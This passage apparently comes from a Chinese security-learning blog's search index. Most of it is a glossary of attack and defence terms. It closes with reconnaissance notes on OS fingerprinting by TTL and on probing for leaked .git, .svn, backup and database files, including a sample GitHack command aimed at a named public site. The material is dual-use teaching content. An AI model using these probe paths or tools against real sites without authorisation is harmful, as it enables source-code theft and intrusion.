RP欺骗、DNS欺骗、Web欺骗、电子邮件欺骗、源路由欺骗(通过指定路由,以假冒身份与其他主机进行合法通信或发送假报文,使受攻击主机出现错误动作)、地址欺骗(包括伪造源地址和伪造中间站点)等。\n物理攻击通俗理解,即采用物理接触而非技术手段达到网络入侵的目的,最常见的表现形式为插U盘。著名的震网病毒事件即通过插U盘的形式,感染了伊朗核设施。\n打点指攻击者在入侵目标网络之前进行的侦察和准备工作。攻击者会通过扫描目标网络,收集关于网络拓扑、系统漏洞、开放端口等信息,以便确定最佳的攻击路径和方法。这些信息可以用于发起后续的攻击,例如渗透测试、漏洞利用或社会工程攻击。打点是黑客攻击的第一步,它为攻击者提供了有关目标网络的详细信息,从而增加了入侵的成功率。通俗说就是获取通向内网的一台服务器。\n3.攻击者黑产网络黑产,指以互联网为媒介,以网络技术为主要手段,为计算机信息系统安全和网络空间管理秩序,甚至国家安全、社会政治稳定带来潜在威胁(重大安全隐患)的非法行为。例如非法数据交易产业。\n暗网暗网是利用加密传输、P2P对等网络、多点中继混淆等,为用户提供匿名的互联网信息访问的一类技术手段,其最突出的特点就是匿名性。\n黑帽黑客以非法目的进行黑客攻击的人,通常是为了经济利益。他们进入安全网络以销毁、赎回、修改或窃取数据,或使网络无法用于授权用户。这个名字来源于这样一个历史:老式的黑白西部电影中,恶棍很容易被电影观众识别,因为他们戴着黑帽子,而“好人”则戴着白帽子。\n白帽黑客是那些用自己的黑客技术来进行合法的安全测试分析的黑客,测试网络和系统的性能来判定它们能够承受入侵的强弱程度。\n红帽黑客事实上最为人所接受的说法叫红客。红帽黑客以正义、道德、进步、强大为宗旨,以热爱祖国、坚持正义、开拓进取为精神支柱,红客通常会利用自己掌握的技术去维护国内网络的安全,并对外来的进攻进行还击。\n红队通常指攻防演习中的攻击队伍。\n蓝队通常指攻防演习中的防守队伍。\n紫队攻防演习中新诞生的一方,通常指监理方或者裁判方。\n二、防守篇1.软硬件加密机主机加密设备,加密机和主机之间使用TCP/IP协议通信,所以加密机对主机的类型和主机操作系统无任何特殊的要求。\nCA证书为实现双方安全通信提供了电子认证。在因特网、公司内部网或外部网中,使用数字证书实现身份识别和电子信息加密。数字证书中含有密钥对(公钥和私钥)所有者的识别信息,通过验证识别信息的真伪实现对证书持有者身份的认证。\nSSL证书SSL证书是数字证书的一种,类似于驾驶证、护照和营业执照的电子副本。因为配置在服务器上,也称为SSL服务器证书。\n防火墙主要部署于不同网络或网络安全域之间的出口,通过监测、限制、更改跨越防火墙的数据流,尽可能地对外部屏蔽网络内部的信息、结构和运行状况,有选择地接受外部访问。\nIDS全称Intrusion Detection System,即入侵检测系统,用于在黑客发起进攻或是发起进攻之前检测到攻击,并加以拦截。IDS不同于防火墙,防火墙只能屏蔽入侵,而IDS却可以在入侵发生以前,通过一些信息来检测到即将发生的攻击或是入侵并作出反应。\nNIDS全称Network Intrusion Detection System,即网络入侵检测系统,主要用于检测Hacker或Cracker。通过网络进行的入侵行为。NIDS的运行方式有两种,一种是在目标主机上运行以监测其本身的通信信息,另一种是在一台单独的机器上运行以监测所有网络设备的通信信息,比如Hub、路由器。\nIPS全称Intrusion Prevention System,即入侵防御系统,目的在于及时识别攻击程序或有害代码及其克隆和变种,采取预防措施,先期阻止入侵,防患于未然。或者至少使其危害性充分降低。入侵预防系统一般作为防火墙和防病毒软件的补充来投入使用。\n杀毒软件也称反病毒软件或防毒软件,是用于消除电脑病毒、特洛伊木马和恶意软件等计算机威胁的一类软件。\n反病毒引擎通俗理解,就是一套判断特定程序行为是否为病毒程序(包括可疑的)的技术机制。例如奇安信自主研发的QOWL猫头鹰反病毒引擎。\n防毒墙区别于部署在主机上的杀毒软件,防毒墙的部署方式与防火墙类似,主要部署于网络出口,用于对病毒进行扫描和拦截,因此防毒墙也被称为反病毒网关。\n老三样通常指IDS、防火墙和反病毒三样历史最悠久安全产品。\n告警指网络安全设备对攻击行为产生的警报。\n误报也称为无效告警,通常指告警错误,即把合法行为判断成非法行为而产生了告警。目前,由于攻击技术的快速进步和检测技术的限制,误报的数量非常大,使得安全人员不得不花费大量时间来处理此类告警,已经成为困扰并拉低日常安全处置效率的主要原因。\n漏报通常指网络安全设备没有检测出非法行为而没有产生告警。一旦出现漏报,将大幅增加系统被入侵的风险。\nNAC全称Network Access Control,即网络准入控制,其宗旨是防止病毒和蠕虫等新兴黑客技术对企业安全造成危害。借助NAC,客户可以只允许合法的、值得信任的终端设备(例如PC、服务器、PDA)接入网络,而不允许其它设备接入。\n漏扫即漏洞扫描,指基于漏洞数据库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测(渗透攻击)行为。\nUTM全称Unified Threat Management,即统一威胁管理,最早由IDC于2014年提出,即将不同设备的安全能力(最早包括入侵检测、防火墙和反病毒技术),集中在同一网关上,实现统一管理和运维。\n网闸网闸是使用带有多种控制功能的固态开关读写介质,连接两个独立主机系统的信息安全设备。由于两个独立的主机系统通过网闸进行隔离,只有以数据文件形式进行的无协议摆渡。\n堡垒机运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责。\n数据库审计能够实时记录网络上的数据库活动,对数据库操作进行细粒度审计的合规性管理,对数据库遭受到的风险行为进行告警,对攻击行为进行阻断。它通过对用户访问数据库行为的记录、分析和汇报,用来帮助用户事后生成合规报告、事故追根溯源,同时加强内外部数据库网络行为记录,提高数据资产安全。\nDLP数据防泄漏,通过数字资产的精准识别和策略制定,主要用于防止企业的指定数据或信息资产以违反安全策略规定的形式流出企业。\nVPN虚拟专用网,在公用网络上建立专用网络,进行加密通讯,通过对数据包的加密和数据包目标地址的转换实现远程访问。\nSD-WAN即软件定义广域网,这种服务用于连接广阔地理范围的企业网络、数据中心、互联网应用及云服务。这种服务的典型特征是将网络控制能力通过软件方式云化。通常情况下,SD-WAN都集成有防火墙、入侵检测或者防病毒能力。并且从目前的趋势来看,以安全为核心设计的SD-WAN正在崭露头角,包括奇安信、Fortinet等多家安全厂商开始涉足该领域,并提供了较为完备的内生安全设计。\n路由器是用来连接不同子网的中枢,它们工作于OSI7层模型的传输层和网络层。路由器的基本功能就是将网络信息包传输到它们的目的地。一些路由器还有访问控制列表(ACLs),允许将不想要的信息包过滤出去。许多路由器都可以将它们的日志信息注入到IDS系统中,并且自带基础的包过滤(即防火墙)功能。\n网关通常指路由器、防火墙、IDS、VPN等边界网络设备。\nWAF全称Web Application Firewall,即Web应用防火墙,是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。\nSOC全称Security Operations Center,即安全运行中心或者安全管理平台,通过建立一套实时的资产风险模型,协助管理员进行事件分析、风险分析、预警管理和应急响应处理的集中安全管理系统。\nLAS日志审计系统,主要功能是提供日志的收集、检索和分析能力,可为威胁检测提供丰富的上下文。\nNOC全称Network Operations Center,即网络操作中心或网络运行中心,是远程网络通讯的管理、监视和维护中心,是网络问题解决、软件分发和修改、路由、域名管理、性能监视的焦点。\nSIEM全称Security Information and Event Management,即安全信息和事件管理,负责从大量企业安全控件、主机操作系统、企业应用和企业使用的其他软件收集安全日志数据,并进行分析和报告。\n上网行为管理是指帮助互联网用户控制和管理对互联网使用的设备。其包括对网页访问过滤、上网隐私保护、网络应用控制、带宽流量管理、信息收发审计、用户行为分析等。\n蜜罐(Honeypot)是一个包含漏洞的系统,它摸拟一个或多个易受攻击的主机,给黑客提供一个容易攻击的目标。由于蜜罐没有其它任务需要完成,因此所有连接的尝试都应被视为是可疑的。蜜罐的另一个用途是拖延攻击者对其真正目标的攻击,让攻击者在蜜罐上浪费时间。蜜罐类产品包括蜜网、蜜系统、蜜账号等等。\n沙箱沙箱是一种用于安全的运行程序的机制。它常常用来执行那些非可信的程序。非可信程序中的恶意代码对系统的影响将会被限制在沙箱内而不会影响到系统的其它部分。\n沙箱逃逸一种识别沙箱环境,并利用静默、欺骗等技术,绕过沙箱检测的现象\n网络靶场主要是指通过虚拟环境与真实设备相结合,模拟仿真出真实赛博网络空间攻防作战环境,能够支撑攻防演练、安全教育、网络空间作战能力研究和网络武器装备验证试验平台。\n2.技术与服务加密技术加密技术包括两个元素:算法和密钥。算法是将普通的文本与一串数字(密钥)的结合,产生不可理解的密文的步骤,密钥是用来对数据进行编码和解码的一种算法。密钥加密技术的密码体制分为对称密钥体制和非对称密钥体制两种。相应地,对数据加密的技术分为两类,即对称加密(私人密钥加密)和非对称加密(公开密钥加密)。对称加密的加密密钥和解密密钥相同,而非对称加密的加密密钥和解密密钥不同,加密密钥可以公开而解密密钥需要保密。\n黑名单顾名思义,黑名单即不好的名单,凡是在黑名单上的软件、IP地址等,都被认为是非法的。\n白名单与黑名单对应,白名单即“好人”的名单,凡是在白名单上的软件、IP等,都被认为是合法的,可以在计算机上运行。\n内网通俗的讲就是局域网,比如网吧、校园网、公司内部网等都属于此类。查看IP地址,如果是在以下三个范围之内,就说明我们是处于内网之中的:\n10.0.0.0—10.255.255.255\n172.16.0.0—172.31.255.255\n192.168.0.0—192.168.255.255\n外网直接连入Internet(互连网),可以与互连网上的任意一台电脑互相访问。\n边界防御以网络边界为核心的防御模型,以静态规则匹配为基础,强调把所有的安全威胁都挡在外网。\n南北向流量通常指数据中心内外部通信所产生的的流量。\n东西向流量通常指数据中心内部不同主机之间互相通信所产生的的流量。\n规则库网络安全的核心数据库,类似于黑白名单,用于存储大量安全规则,一旦访问行为和规则库完成匹配,则被认为是非法行为。所以有人也将规则库比喻为网络空间的法律。\n下一代网络安全领域经常用到,用于表示产品或者技术有较大幅度的创新,在能力上相对于传统方法有明显的进步,通常缩写为NG(Next Gen)。例如NGFW(下一代防火墙)、NGSOC(下一代安全管理平台)等。\n大数据安全分析区别于传统被动规则匹配的防御模式,以主动收集和分析大数据的方法,找出其中可能存在的安全威胁,因此也称数据驱动安全。该理论最早由奇安信于2015年提出。\nEPP全称Endpoint Protection Platform,翻译为端点保护平台,部署在终端设备上的安全防护解决方案,用于防止针对终端的恶意软件、恶意脚本等安全威胁,通常与EDR进行联动。\nEDR全称Endpoint Detection&Response,即端点检测与响应,通过对端点进行持续检测,同时通过应用程序对操作系统调用等异常行为分析,检测和防护未知威胁,最终达到杀毒软件无法解决未知威胁的目的。\nNDR全称Network Detection&Response,即网络检测与响应,通过对网络侧流量的持续检测和分析,帮助企业增强威胁响应能力,提高网络安全的可见性和威胁免疫力。\n安全可视化指在网络安全领域中的呈现技术,将网络安全加固、检测、防御、响应等过程中的数据和结果转换成图形界面,并通过人机交互的方式进行搜索、加工、汇总等操作的理论、方法和技术。\nNTA网络流量分析(NTA)的概念是Gartner于2013年首次提出的,位列五种检测高级威胁的手段之一。它融合了传统的基于规则的检测技术,以及机器学习和其他高级分析技术,用以检测企业网络中的可疑行为,尤其是失陷后的痕迹。\nMDR全称Managed Detection&Response,即托管检测与响应,依靠基于网络和主机的检测工具来识别恶意模式。此外,这些工具通常还会从防火墙之内的终端收集数据,以便更全面地监控网络活动。\n应急响应通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。\nXDR通常指以检测和响应技术为核心的网络安全策略的统称,包括EDR、NDR、MDR等。\n安全运营贯穿产品研发、业务运行、漏洞修复、防护与检测、应急响应等一系列环节,实行系统的管理方法和流程,将各个环节的安全防控作用有机结合,保障整个业务的安全性。\n威胁情报根据Gartner的定义,威胁情报是某种基于证据的知识,包括上下文、机制、标示、含义和能够执行的建议,这些知识与资产所面临已有的或酝酿中的威胁或危害相关,可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持。根据使用对象的不同,威胁情报主要分为人读情报和机读情报。\nTTP主要包括三要素,战术Tactics、技术Techniques和过程Procedures,是描述高级威胁组织及其攻击的重要指标,作为威胁情报的一种重要组成部分,TTP可为安全分析人员提供决策支撑。\nIOC中文名为失陷标示:用以发现内部被APT团伙、木马后门、僵尸网络控制的失陷主机,类型上往往是域名、URL等。目前而言,IOC是应用最为广泛的威胁情报,因为其效果最为直接。一经匹配,则意味着存在已经失陷的主机。\n上下文从文章的上下文引申而来,主要是指某项威胁指标的关联信息,用于实现更加精准的安全匹配和检测。\nSTIXSTIX是一种描述网络威胁信息的结构化语言,能够以标准化和结构化的方式获取更广泛的网络威胁信息,常用于威胁情报的共享与交换,目前在全球范围内使用最为广泛。STIX在定义了8中构件的1.0版本基础上,已经推出了定义了12中构件的2.0版本。\n杀伤链杀伤链最早来源于军事领域,用于描述进攻一方各个阶段的状态。在网络安全领域,这一概念最早由洛克希德-马丁公司提出,英文名称为Kill Chain,也称作网络攻击生命周期,包括侦查追踪、武器构建、载荷投递、漏洞利用、安装植入、命令控制、目标达成等七个阶段,来识别和防止入侵。\nATT&CK可以简单理解为描述攻击者技战术的知识库。MITRE在2013年推出了该模型,它是根据真实的观察数据来描述和分类对抗行为。ATT&CK将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示。\n钻石模型钻石模型在各个领域的应用都十分广泛,在网络安全领域,钻石模型首次建立了一种将科学原理应用于入侵分析的正式方法:可衡量、可测试和可重复——提供了一个对攻击活动进行记录、(信息)合成、关联的简单、正式和全面的方法。这种科学的方法和简单性可以改善分析的效率、效能和准确性。\n关联分析又称关联挖掘,就是在交易数据、关系数据或其他信息载体中,查找存在于项目集合或对象集合之间的频繁模式、关联、相关性或因果结构。在网络安全领域主要是指将不同维度、类型的安全数据进行关联挖掘,找出其中潜在的入侵行为。\n态势感知是一种基于环境的、动态、整体地洞悉安全风险的能力,是以安全大数据为基础,从全局视角提升对安全威胁的发现识别、理解分析、响应处置能力的一种方式,最终是为了决策与行动,是安全能力的落地。\n探针也叫作网络安全探针或者安全探针,可以简单理解为赛博世界的摄像头,部署在网络拓扑的关键节点上,用于收集和分析流量和日志,发现异常行为,并对可能到来的攻击发出预警。\n网络空间测绘用搜索引擎技术来提供交互,让人们可以方便的搜索到网络空间上的设备。相对于现实中使用的地图,用各种测绘方法描述和标注地理位置,用主动或被动探测的方法,来绘制网络空间上设备的网络节点和网络连接关系图,及各设备的画像。\nSOAR全称Security Orchestration ,Automation and Response,即安全编排自动化与响应,主要通过剧本化、流程化的指令,对入侵行为采取的一系列自动化或者半自动化响应处置动作。\nUEBA全称User and Entity Behavior Analytics,即用户实体行为分析,一般通过大数据分析的方法,分析用户以及IT实体的行为,从而判断是否存在非法行为。\n内存保护内存保护是操作系统对电脑上的内存进行访问权限管理的一个机制。内存保护的主要目的是防止某个进程去访问不是操作系统配置给它的寻址空间。\nRASP全称Runtime application self-protection,即应用运行时自我保护。在2014年时由Gartner提出,它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。\n包检测对于流量包、数据包进行拆包、检测的行为。\n深度包检测Deep Packet Inspection,缩写为DPI,又称完全数据包探测(complete packet inspection)或信息萃取(Information eXtraction,IX),是一种计算机网络数据包过滤技术,用来检查通过检测点之数据包的数据部分(亦可能包含其标头),以搜索不匹配规范之协议、病毒、垃圾邮件、入侵迹象。\n全流量检测全流量主要体现在三个“全”上,即全流量采集与保存,全行为分析以及全流量回溯。通过全流量分析设备,实现网络全流量采集与保存、全行为分析与全流量回溯,并提取网络元数据上传到大数据分析平台实现更加丰富的功能。\n元数据元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(data about data),主要是描述数据属性(property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。\n欺骗检测以构造虚假目标来欺骗并诱捕攻击者,从而达到延误攻击节奏,检测和分析攻击行为的目的。\n微隔离顾名思义是细粒度更小的网络隔离技术,能够应对传统环境、虚拟化环境、混合云环境、容器环境下对于东西向流量隔离的需求,重点用于阻止攻击者进入企业数据中心网络内部后的横向平移。\n逆向常见于逆向工程或者逆向分析,简单而言,一切从产品中提取原理及设计信息并应用于再造及改进的行为,都是逆向工程。在网络安全中,更多的是调查取证、恶意软件分析等。\n无代理安全在终端安全或者虚拟化安全防护中,往往需要在每一台主机或者虚机上安装agent(代理程序)来实现,这种方式往往需要消耗大量的资源。而无代理安全则不用安装agent,可以减少大量的部署运维工作,提升管理效率。\nCWPP全称Cloud Workload Protection Platform,即云工作负载保护平台,主要是指对云上应用和工作负载(包括虚拟主机和容器主机上的工作负载)进行保护的技术,实现了比过去更加细粒度的防护,是现阶段云上安全的最后一道防线。\nCSPM云安全配置管理,能够对基础设施安全配置进行分析与管理。这些安全配置包括账号特权、网络和存储配置、以及安全配置(如加密设置)。如果发现配置不合规,CSPM会采取行动进行修正。\nCASB全称Cloud Access Security Broker,即云端接入安全代理。作为部署在客户和云服务商之间的安全策略控制点,是在访问基于云的资源时企业实施的安全策略。\n防爬意为防爬虫,主要是指防止网络爬虫从自身网站中爬取信息。网络爬虫是一种按照一定的规则,自动地抓取网络信息的程序或者脚本。\n安全资源池安全资源池是多种安全产品虚拟化的集合,涵盖了服务器终端、网络、业务、数据等多种安全能力。\nIAM全称为Identity and Access Management,即身份与访问管理,经常也被叫做身份认证。\n4A即认证Authentication、授权Authorization、账号Account、审计Audit,即融合统一用户账号管理、统一认证管理、统一授权管理和统一安全审计四要素后的解决方案将涵盖单点登录(SSO)等安全功能。\nAccessControllist(ACL)\n访问控制列表。\n多因子认证主要区别于单一口令认证的方式,要通过两种以上的认证机制之后,才能得到授权,使用计算机资源。例如,用户要输入PIN码,插入银行卡,最后再经指纹比对,通过这三种认证方式,才能获得授权。这种认证方式可以降低单一口令失窃的风险,提高安全性。\n特权账户管理简称PAM。由于特权账户往往拥有很高的权限,因此一旦失窃或被滥用,会给机构带来非常大的网络安全风险。所以,特权账户管理往往在显得十分重要。其主要原则有:杜绝特权凭证共享、为特权使用赋以个人责任、为日常管理实现最小权限访问模型、对这些凭证执行的活动实现审计功能。\n零信任零信任并不是不信任,而是作为一种新的身份认证和访问授权理念,不再以网络边界来划定可信或者不可信,而是默认不相信任何人、网络以及设备,采取动态认证和授权的方式,把访问者所带来的的网络安全风险降到最低。\nSDP全称Software Defined Perimeter,即软件定义边界,由云安全联盟基于零信任网络提出,是围绕某个应用或某一组应用创建的基于身份和上下文的逻辑访问边界。\nSecurity as a Service安全即服务,通常可理解为以SaaS的方式,将安全能力交付给客户。\n同态加密同态加密是一类具有特殊自然属性的加密方法,此概念是Rivest等人在20世纪70年代首先提出的,与一般加密算法相比,同态加密除了能实现基本的加密操作之外,还能实现密文间的多种计算功能。\n量子计算是一种遵循量子力学规律调控量子信息单元进行计算的新型计算模式,目前已经逐渐应用于加密和通信传输。\n可信计算是一项由可信计算组(可信计算集群,前称为TCPA)推动和开发的技术。可信计算是在计算和通信系统中广泛使用基于硬件安全模块支持下的可信计算平台,以提高系统整体的安全性。\n拟态防御核心实现是一种基于网络空间内生安全机理的动态异构冗余构造(Dynamic Heterogeneous Redundancy,DHR),为应对网络空间中基于未知漏洞、后门或病毒木马等的未知威胁,提供具有普适创新意义的防御理论和方法。\n区块链英文名为blockchain,它是一个共享数据库,存储于其中的数据或信息,具有“不可伪造”、“全程留痕”、“可以追溯”、“公开透明”、“集体维护”等特征。\n远程浏览器鉴于浏览器往往成为黑客攻击的入口,因此将浏览器部署在远程的一个“浏览器服务器池”中。这样一来,这些浏览器所在的服务器跟用户所在环境中的终端和网络是隔离的,从而使得客户所在网络的暴露面大大降低。这种服务也类似于虚拟桌面、云手机等产品。\n云手机云手机采用全新的VMI(Virtual Mobile Infrastructure虚拟移动设施,与PC云桌面类似)技术,为员工提供一个独立的移动设备安全虚拟手机,业务应用和数据仅在服务端运行和存储,个人终端上仅做加密流媒体呈现和触控,从而有效保障企业数据的安全性。\n风控也称大数据风控,是指利用大数据分析的方法判断业务可能存在的安全风险,目前该技术主要用于金融信贷领域,防止坏账的发生。\n渗透测试为了证明网络防御按照预期计划正常运行而提供的一种机制,通常会邀请专业公司的攻击团队,按照一定的规则攻击既定目标,从而找出其中存在的漏洞或者其他安全隐患,并出具测试报告和整改建议。其目的在于不断提升系统的安全性。\n安全众测借助众多白帽子的力量,针对目标系统在规定时间内进行漏洞悬赏测试。您在收到有效的漏洞后,按漏洞风险等级给予白帽子一定的奖励。通常情况下是按漏洞付费,性价比较高。同时,不同白帽子的技能研究方向可能不同,在进行测试的时候更为全面。\n内生安全由奇安信集团董事长齐向东在2019北京网络安全大会上首次提出,指的是不断从信息化系统内生长出的安全能力,能伴随业务的增长而持续提升,持续保证业务安全。内生安全有三个特性,即依靠信息化系统与安全系统的聚合、业务数据与安全数据的聚合以及IT人才和安全人才的聚合,从信息化系统的内部,不断长出自适应、自主和自成长的安全能力。\n内生安全框架为推动内生安全的落地,奇安信推出了内生安全框架。该框架从顶层视角出发,支撑各行业的建设模式从“局部整改外挂式”,走向“深度融合体系化”;从工程实现的角度,将安全需求分步实施,逐步建成面向未来的安全体系;内生安全框架能够输出实战化、体系化、常态化的安全能力,构建出动态防御、主动防御、纵深防御、精准防护、整体防控、联防联控的网络安全防御体系。内生安全框架包含了总结出了29个安全区域场景和79类安全组件。\nPPDR英文全称为Policy Protection Detection Response,翻译为策略、防护、检测和响应。主要以安全策略为核心,通过一致性检查、流量统计、异常分析、模式匹配以及基于应用、目标、主机、网络的入侵检查等方法进行安全漏洞检测。\nCARTA全称为Continuous Adaptive Riskand Trust Assessment,即持续自适应风险与信任评估旨在通过动态智能分析来评估用户行为,放弃追求完美的安全,不能要求零风险,不要求100%信任,寻求一种0和1之间的风险与信任的平衡。CARTA战略是一个庞大的体系,其包括大数据、AI、机器学习、自动化、行为分析、威胁检测、安全防护、安全评估等方面。\nSASE全称为Secure Access Service Edge,即安全访问服务边缘,Gartner将其定义为一种基于实体的身份、实时上下文、企业安全/合规策略,以及在整个会话中持续评估风险/信任的服务。实体的身份可与人员、人员组(分支办公室)、设备、应用、服务、物联网系统或边缘计算场地相关联。\nSDL全称为Security Development Lifecycle,翻译为安全开发生命周期,是一个帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程,最早由微软提出。\nDevSecOps全称为Development Security Operations,可翻译为安全开发与运维。它强调在DevOps计划刚启动时就要邀请安全团队来确保信息的安全性,制定自动安全防护计划,并贯穿始终,实现持续IT防护。\n代码审计顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。\nNTLM验证NTLM(NT LAN Manager)是微软公司开发的一种身份验证机制,从NT4开始就一直使用,主要用于本地的帐号管理。\nMTTD平均检测时间。\nMTTR平均响应时间。\nCVE全称Common Vulnerabilities and Exposures,由于安全机构Mitre维护一个国际通用的漏洞唯一编号方案,已经被安全业界广泛接受的标准。\n软件加壳“壳”是一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。经过加壳的软件在跟踪时已无法看到其真实的十六进制代码,因此可以起到保护软件的目的。\nCNVD国家信息安全漏洞共享平台,由国家计算机应急响应中心CNCERT维护,主要负责统一收集、管理国内的漏洞信息,其发布的漏洞编号前缀也为CNVD。\n数据脱敏数据脱敏是指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护,主要用于数据的共享和交易等涉及大范围数据流动的场景。\nGDPR《通用数据保护条例》(General Data Protection Regulation,简称GDPR)为欧洲联盟的条例,前身是欧盟在1995年制定的《计算机数据保护法》。\nCCPA美国加利福尼亚州消费者隐私保护法案。\nSRC即Security Response Center,中文名为安全应急响应中心,主要职责为挖掘并公开收集机构存在的漏洞和其他安全隐患。\nCISO有时也被叫做CSO,即首席信息安全官,为机构的主要安全负责人。\nIPC管道为了更好地控制和处理不同进程之间的通信和数据交换,系统会通过一个特殊的连接管道来调度整个进程。\nSYN包TCP连接的第一个包,非常小的一种数据包。SYN攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。\nIPC$是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。\nshell指的是一种命令指行环境,是系统与用户的交换方式界面。简单来说,就是系统与用户“沟通”的环境。我们平时常用到的DOS,就是一个shell。(Windows2000是cmd.exe)\nARP地址解析协议(Address Resolution Protocol)此协议将网络地址映射到硬件地址。\n","tags":["小迪"]},{"title":"03信息打点","url":"/2024/04/14/03%E4%BF%A1%E6%81%AF%E6%89%93%E7%82%B9/","content":"信息打点#知识点1.打点-Web架构-语言&中间件&数据库&系统等2.打点-Web源码-CMS开元&闭源售卖&自主研发等打点-Web源码获取-泄露安全&资源监控&其他等打点-Web域名-子域名&相似域名&反查域名&旁注等#信息点基础信息,系统信息,应用信息,防护信息,人员信息,其他信息等#技术点CMS识别,端口扫描,CDN绕过,源码获取,子域名查询,WAF识别,负载均衡识别等\n\n\n判断系统:\n\n更改大小写,访问正常可能为Windows;访问不一样可能为Linux(判定结果不一定百分百正确)\n不要在参数后面加(?后的),要在文件上加(例如:index.phP)不实用\n\nTTL值判定主机的操作系统\n\n\n\n\n\n操作系统\nTTL\n\n\n\nWindows NT/2000\n128\n\n\nWindows 95/98\n32\n\n\nUnix\n255\n\n\nLinux\n64\n\n\nWindows 7\n64\n\n\n但是当用户修改了TTL值的时候,就会误导我们的判断\n\n修改本机电脑上面的默认TTL值\nTTL值在注册表的位置是:HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\n其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改DefaultTTL里面的TTL默认值,但不能大于十进制的255。\n\n\n信息搜集\n开发注释\n\n无法查看源代码(禁用JS或者Ctrl+U或者在网页url前面加view-source:)\n\n抓包、看包\n\nrobots协议:/robots.txt\nRobots协议(也称爬虫协议,机器人协议等)的全称是“网络爬虫排除协议”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。\n\nphps源码:/index.phps\nphps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。\n因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。\n\n源码泄露:/www.zip /www.tar.gz\n\nGit源码泄露:/.git/index.php /.git/index\n漏洞利用工具:GitHack\ngithub项目地址:https://github.com/lijiejie/GitHack\n用法示例:\nGitHack.py http://www.openssl.org/.git/\n\n修复建议:删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问。\n\nSVN泄露:/.svn/entries\n使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。\nsvn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份\nsvn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份\ngithub项目地址:https://github.com/callmefeifei/SvnHack\nhttps://github.com/admintony/svnExploit\n\n备份文件:\n\n/index.php.swpb\n\n/index.php.bak\n\n/backup.sql\n\n.old\n\n.temp\n\n\nvim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。\n漏洞利用:直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件。\n\ncookie泄露\n\n域名解析\nA 记录:\n最基本的记录类型,也称为地址记录,为域名或子域名提供 IPv4 地址。该记录将域名指向 IP 地址。\nAAAA 记录:\n将主机名映射到 128 位 IPv6 地址。长期以来,32位IPv4地址用于识别互联网上的计算机。但由于IPv4的短缺,IPv6被创建。四个“A”(AAAA)是助记符,表示IPv6比IPv4大四倍。\nCNAME 记录:\n也称为规范名称记录,创建一个域名的别名。别名域或子域获取原始域的所有 DNS 记录,通常用于将子域与现有主域相关联。\nMX 记录:\n也称为邮件交换记录,告知哪些邮件交换服务器负责将电子邮件路由到正确的目标或邮件服务器。\nNS 记录:\n也称为名称服务器记录,指向有权管理和发布该域的 DNS 记录的名称服务器。这些 DNS 服务器在处理与该域相关的任何查询方面具有权威性。\nPTR 记录:\n也称为指针记录,将 IPv4 或 IPv6 地址指向其计算机的主机名。它通过将 IP 地址指向服务器的主机名来提供反向 DNS 记录或 rDNS 记录。\nSRV 记录:\n也称为服务记录,指示域运行的特定服务和端口号。可扩展消息传递和状态协议 (XMPP) 和会话初始协议 (SIP) 等互联网协议通常需要 SRV 记录。\nSOA 记录:\n也称为授权机构起始记录,提供有关域的基本信息,例如标识域权威名称服务器的主节点、域管理员的电子邮件、DNS 区域的序列号等。\n==TXT 记录:==\n允许网站管理员在 DNS 记录中插入任意文本。\nCAA 记录:\n也称为证书颁发机构授权记录,反映了有关为域颁发数字证书的公共策略。如果您的域不存在 CAA 记录,则任何证书颁发机构都可以颁发 SSL 证书。但是,使用此记录,您可以限制哪个 CA 有权为您的域颁发数字凭据。\nDS 记录:\n也称为委派签名者记录,由公钥的唯一字符及其相关元数据(如密钥标记、算法、摘要类型和称为摘要的加密哈希值)组成。\nDNSKEY 记录:\n也称为 DNS 密钥记录,包含公共签名密钥,如区域签名密钥 (ZSK) 和密钥签名密钥 (KSK)。DS 和 DNSKEY 记录验证 DNS 服务器返回的 DNS 记录的真实性。\n\n有的会有技术文档泄露信息\n\nphp探针:/tz.php\n\nmdb文件:/db/db.mdb\nmdb文件是早期asp+access架构的数据库文件 